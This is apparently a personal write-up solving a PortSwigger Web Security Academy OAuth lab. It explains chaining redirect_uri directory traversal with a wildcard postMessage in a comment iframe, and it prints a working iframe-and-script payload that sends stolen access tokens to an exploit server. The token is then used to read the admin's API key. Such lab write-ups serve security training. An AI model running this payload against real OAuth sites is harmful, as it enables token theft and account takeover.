Labs Covered
This write-up focuses on the following EXPERT-level lab from the PortSwigger Web Security Academy related to OAuth Authentication:
6 Stealing OAuth access tokens via a proxy page
This lab demonstrates how attackers can leverage proxy pages to intercept and steal OAuth access tokens during authorization flows.
LAB 6 - Stealing OAuth access tokens via a proxy page
Lab Description
Solution
This was a very tricky lab. To solve this, I had to find a secondary vulnerability in the website and use that as a proxy to steal the admin’s access token. It took me a while to understand what was supposed to be done here. I started by logging into the website and going through the requests in Burp. I tried the directory traversal with redirect_uri and it was working. So, this was my primary vulnerability and I had to combine it with a secondary vulnerability.
I checked other pages on the website. There was no Next post option, unlike the previous lab. But I noticed that the Leave a comment section which was inside an iframe was using window.postMessage() method to send window.location.href data to the parent with target as wildcard(*). This means that the child window (iframe) can send data to any parent window (domain). I decided to take advantage of this property. What if I could traverse the redirect_uri to the comment form?
THe use of * as the target in window.postMessage() indicates that the message is intended to be sent to any window, not just a specific one.
I created an iframe that would point the redirect_uri to the comment form and added a script that would send the data received in the iframe to the parent window i.e. exploit server.
<iframe src=”https://oauth-0ace00b903459d15c097e8df02c000ab.web-security-academy.net/auth?client_id=y7wlhfhlcxdrmwehtm2d8&redirect_uri=https://0a69004f030e9d9cc082e851005100e5.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-621271860&scope=openid%20profile%20email"></iframe>
<script>
window.addEventListener('message',function(e){
fetch("/" + encodeURIComponent(e.data.data))})
</script>
VIEW EXPLOIT
I delivered the exploit to victim and observed the server logs. There was a GET request to comment form with an access token appended to it since the redirected URL was disclosing it. This was the admin’s access token.
I issued a request to /me endpoint using that access token in Authorization: Bearer and found admin’s apikey.
I submitted the apikey and solved the lab!